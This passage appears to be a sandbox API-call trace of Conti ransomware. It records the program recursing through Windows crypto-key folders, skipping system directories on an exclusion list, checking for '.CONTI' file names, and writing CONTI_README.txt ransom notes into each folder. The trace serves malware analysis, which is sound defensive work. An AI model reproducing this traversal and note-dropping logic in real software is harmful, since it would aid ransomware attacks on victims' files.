	[0103.861] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\Keys", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\"
	[0103.861] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\CONTI_README.txt"
	[0103.861] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\crypto\\keys\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8
	[0103.863] GetProcessHeap () returned 0x1720000
	[0103.863] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740988 | out: hHeap=0x1720000) returned 1
	[0103.863] WriteFile (in: hFile=0x3c8, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0103.863] CloseHandle (hObject=0x3c8) returned 1
	[0103.864] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd33178c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51bfddb8, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c85b0
	[0103.864] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0103.864] FindNextFileW (in: hFindFile=0x17c85b0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd33178c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51bfddb8, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0103.864] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0103.864] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0103.864] FindNextFileW (in: hFindFile=0x17c85b0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51bfddb8, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x51bfddb8, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x51bfddb8, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0103.864] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0103.864] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0103.864] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0103.864] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0103.864] FindNextFileW (in: hFindFile=0x17c85b0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51bfddb8, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x51bfddb8, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x51bfddb8, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 0
	[0103.864] GetProcessHeap () returned 0x1720000
	[0103.864] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bedb8 | out: hHeap=0x1720000) returned 1
	[0103.864] FindClose (in: hFindFile=0x17c85b0 | out: hFindFile=0x17c85b0) returned 1
	[0103.864] GetProcessHeap () returned 0x1720000
	[0103.864] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bed08 | out: hHeap=0x1720000) returned 1
	[0103.864] FindNextFileW (in: hFindFile=0x17c82b0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x416372c8, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x416372c8, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="PCPKSP", cAlternateFileName="")) returned 1
	[0103.864] lstrcmpiW (lpString1="PCPKSP", lpString2=".") returned 1
	[0103.864] lstrcmpiW (lpString1="PCPKSP", lpString2="..") returned 1
	[0103.864] lstrcmpiW (lpString1="PCPKSP", lpString2="tmp") returned -1
	[0103.864] lstrcmpiW (lpString1="PCPKSP", lpString2="winnt") returned -1
	[0103.864] lstrcmpiW (lpString1="PCPKSP", lpString2="Application Data") returned 1
	[0103.864] lstrcmpiW (lpString1="PCPKSP", lpString2="AppData") returned 1
	[0103.864] lstrcmpiW (lpString1="PCPKSP", lpString2="temp") returned -1
	[0103.864] lstrcmpiW (lpString1="PCPKSP", lpString2="thumb") returned -1
	[0103.864] lstrcmpiW (lpString1="PCPKSP", lpString2="$Recycle.Bin") returned 1
	[0103.864] lstrcmpiW (lpString1="PCPKSP", lpString2="$RECYCLE.BIN") returned 1
	[0103.864] lstrcmpiW (lpString1="PCPKSP", lpString2="System Volume Information") returned -1
	[0103.864] lstrcmpiW (lpString1="PCPKSP", lpString2="Program Files") returned -1
	[0103.865] lstrcmpiW (lpString1="PCPKSP", lpString2="Program Files (x86)") returned -1
	[0103.865] lstrcmpiW (lpString1="PCPKSP", lpString2="Boot") returned 1
	[0103.865] lstrcmpiW (lpString1="PCPKSP", lpString2="Windows") returned -1
	[0103.865] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Crypto") returned 31
	[0103.865] lstrlenW (lpString="PCPKSP") returned 6
	[0103.865] GetProcessHeap () returned 0x1720000
	[0103.865] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x4e) returned 0x17bee68
	[0103.865] lstrcpyW (in: lpString1=0x17bee68, lpString2="C:\\ProgramData\\Microsoft\\Crypto" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto") returned="C:\\ProgramData\\Microsoft\\Crypto"
	[0103.865] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\"
	[0103.865] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\", lpString2="PCPKSP" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP") returned="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP"
	[0103.865] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP") returned 38
	[0103.865] GetProcessHeap () returned 0x1720000
	[0103.865] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x52) returned 0x17c1028
	[0103.865] lstrcpyW (in: lpString1=0x17c1028, lpString2="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP") returned="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP"
	[0103.865] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\*") returned="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\*"
	[0103.865] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP") returned 38
	[0103.865] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0103.865] GetProcessHeap () returned 0x1720000
	[0103.865] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x70) returned 0x1740a00
	[0103.865] lstrcpyW (in: lpString1=0x1740a00, lpString2="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP") returned="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP"
	[0103.865] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\"
	[0103.865] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\CONTI_README.txt"
	[0103.865] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\crypto\\pcpksp\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8
	[0103.866] GetProcessHeap () returned 0x1720000
	[0103.866] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740a00 | out: hHeap=0x1720000) returned 1
	[0103.866] WriteFile (in: hFile=0x3c8, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0103.867] CloseHandle (hObject=0x3c8) returned 1
	[0103.867] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x416372c8, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x51bfddb8, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8570
	[0103.867] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0103.867] FindNextFileW (in: hFindFile=0x17c8570, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x416372c8, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x51bfddb8, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0103.867] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0103.867] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0103.867] FindNextFileW (in: hFindFile=0x17c8570, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51bfddb8, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x51bfddb8, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x51bfddb8, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0103.867] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0103.867] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0103.867] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0103.867] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0103.867] FindNextFileW (in: hFindFile=0x17c8570, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd332abc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="WindowsAIK", cAlternateFileName="WINDOW~1")) returned 1
	[0103.867] lstrcmpiW (lpString1="WindowsAIK", lpString2=".") returned 1
	[0103.867] lstrcmpiW (lpString1="WindowsAIK", lpString2="..") returned 1
	[0103.867] lstrcmpiW (lpString1="WindowsAIK", lpString2="tmp") returned 1
	[0103.867] lstrcmpiW (lpString1="WindowsAIK", lpString2="winnt") returned -1
	[0103.867] lstrcmpiW (lpString1="WindowsAIK", lpString2="Application Data") returned 1
	[0103.867] lstrcmpiW (lpString1="WindowsAIK", lpString2="AppData") returned 1
	[0103.867] lstrcmpiW (lpString1="WindowsAIK", lpString2="temp") returned 1
	[0103.867] lstrcmpiW (lpString1="WindowsAIK", lpString2="thumb") returned 1
	[0103.868] lstrcmpiW (lpString1="WindowsAIK", lpString2="$Recycle.Bin") returned 1
	[0103.868] lstrcmpiW (lpString1="WindowsAIK", lpString2="$RECYCLE.BIN") returned 1
	[0103.868] lstrcmpiW (lpString1="WindowsAIK", lpString2="System Volume Information") returned 1
	[0103.868] lstrcmpiW (lpString1="WindowsAIK", lpString2="Program Files") returned 1
	[0103.868] lstrcmpiW (lpString1="WindowsAIK", lpString2="Program Files (x86)") returned 1
	[0103.868] lstrcmpiW (lpString1="WindowsAIK", lpString2="Boot") returned 1
	[0103.868] lstrcmpiW (lpString1="WindowsAIK", lpString2="Windows") returned 1
	[0103.868] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP") returned 38
	[0103.868] lstrlenW (lpString="WindowsAIK") returned 10
	[0103.868] GetProcessHeap () returned 0x1720000
	[0103.868] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x64) returned 0x1741370
	[0103.868] lstrcpyW (in: lpString1=0x1741370, lpString2="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP") returned="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP"
	[0103.868] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\"
	[0103.868] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\", lpString2="WindowsAIK" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK") returned="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK"
	[0103.868] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK") returned 49
	[0103.868] GetProcessHeap () returned 0x1720000
	[0103.868] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x68) returned 0x1740ea0
	[0103.868] lstrcpyW (in: lpString1=0x1740ea0, lpString2="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK") returned="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK"
	[0103.868] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK\\*") returned="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK\\*"
	[0103.868] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK") returned 49
	[0103.868] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0103.868] GetProcessHeap () returned 0x1720000
	[0103.868] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x86) returned 0x17ca048
	[0103.868] lstrcpyW (in: lpString1=0x17ca048, lpString2="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK") returned="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK"
	[0103.868] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK\\"
	[0103.868] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK\\CONTI_README.txt"
	[0103.868] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\crypto\\pcpksp\\windowsaik\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0103.869] GetProcessHeap () returned 0x1720000
	[0103.869] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17ca048 | out: hHeap=0x1720000) returned 1
	[0103.869] WriteFile (in: hFile=0x394, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3eecc, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3eecc*=0xa2, lpOverlapped=0x0) returned 1
	[0103.870] CloseHandle (hObject=0x394) returned 1
	[0103.870] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK\\*", lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd332abc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51bfddb8, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8470
	[0103.870] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0103.870] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd332abc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51bfddb8, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0103.870] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0103.870] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0103.870] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51bfddb8, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x51bfddb8, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x51bfddb8, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0103.870] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0103.870] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0103.870] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0103.870] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0103.870] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51bfddb8, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x51bfddb8, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x51bfddb8, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 0
	[0103.870] GetProcessHeap () returned 0x1720000
	[0103.870] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740ea0 | out: hHeap=0x1720000) returned 1
	[0103.870] FindClose (in: hFindFile=0x17c8470 | out: hFindFile=0x17c8470) returned 1
	[0103.871] GetProcessHeap () returned 0x1720000
	[0103.871] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1741370 | out: hHeap=0x1720000) returned 1
	[0103.871] FindNextFileW (in: hFindFile=0x17c8570, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd332abc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="WindowsAIK", cAlternateFileName="WINDOW~1")) returned 0
	[0103.871] GetProcessHeap () returned 0x1720000
	[0103.871] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c1028 | out: hHeap=0x1720000) returned 1
	[0103.871] FindClose (in: hFindFile=0x17c8570 | out: hFindFile=0x17c8570) returned 1
	[0103.871] GetProcessHeap () returned 0x1720000
	[0103.871] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bee68 | out: hHeap=0x1720000) returned 1
	[0103.871] FindNextFileW (in: hFindFile=0x17c82b0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x17c6f037, ftLastAccessTime.dwHighDateTime=0x1d2a02b, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="RSA", cAlternateFileName="")) returned 1
	[0103.871] lstrcmpiW (lpString1="RSA", lpString2=".") returned 1
	[0103.871] lstrcmpiW (lpString1="RSA", lpString2="..") returned 1
	[0103.871] lstrcmpiW (lpString1="RSA", lpString2="tmp") returned -1
	[0103.871] lstrcmpiW (lpString1="RSA", lpString2="winnt") returned -1
	[0103.871] lstrcmpiW (lpString1="RSA", lpString2="Application Data") returned 1
	[0103.871] lstrcmpiW (lpString1="RSA", lpString2="AppData") returned 1
	[0103.871] lstrcmpiW (lpString1="RSA", lpString2="temp") returned -1
	[0103.871] lstrcmpiW (lpString1="RSA", lpString2="thumb") returned -1
	[0103.871] lstrcmpiW (lpString1="RSA", lpString2="$Recycle.Bin") returned 1
	[0103.871] lstrcmpiW (lpString1="RSA", lpString2="$RECYCLE.BIN") returned 1
	[0103.871] lstrcmpiW (lpString1="RSA", lpString2="System Volume Information") returned -1
	[0103.871] lstrcmpiW (lpString1="RSA", lpString2="Program Files") returned 1
	[0103.871] lstrcmpiW (lpString1="RSA", lpString2="Program Files (x86)") returned 1
	[0103.871] lstrcmpiW (lpString1="RSA", lpString2="Boot") returned 1
	[0103.871] lstrcmpiW (lpString1="RSA", lpString2="Windows") returned -1
	[0103.871] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Crypto") returned 31
	[0103.871] lstrlenW (lpString="RSA") returned 3
	[0103.871] GetProcessHeap () returned 0x1720000
	[0103.871] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x48) returned 0x173d238
	[0103.871] lstrcpyW (in: lpString1=0x173d238, lpString2="C:\\ProgramData\\Microsoft\\Crypto" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto") returned="C:\\ProgramData\\Microsoft\\Crypto"
	[0103.871] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\"
	[0103.871] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\", lpString2="RSA" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA"
	[0103.871] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Crypto\\RSA") returned 35
	[0103.871] GetProcessHeap () returned 0x1720000
	[0103.871] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x4c) returned 0x17bf128
	[0103.872] lstrcpyW (in: lpString1=0x17bf128, lpString2="C:\\ProgramData\\Microsoft\\Crypto\\RSA" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA"
	[0103.872] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\*") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\*"
	[0103.872] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Crypto\\RSA") returned 35
	[0103.872] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0103.872] GetProcessHeap () returned 0x1720000
	[0103.872] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x6a) returned 0x1740898
	[0103.872] lstrcpyW (in: lpString1=0x1740898, lpString2="C:\\ProgramData\\Microsoft\\Crypto\\RSA" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA"
	[0103.872] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\"
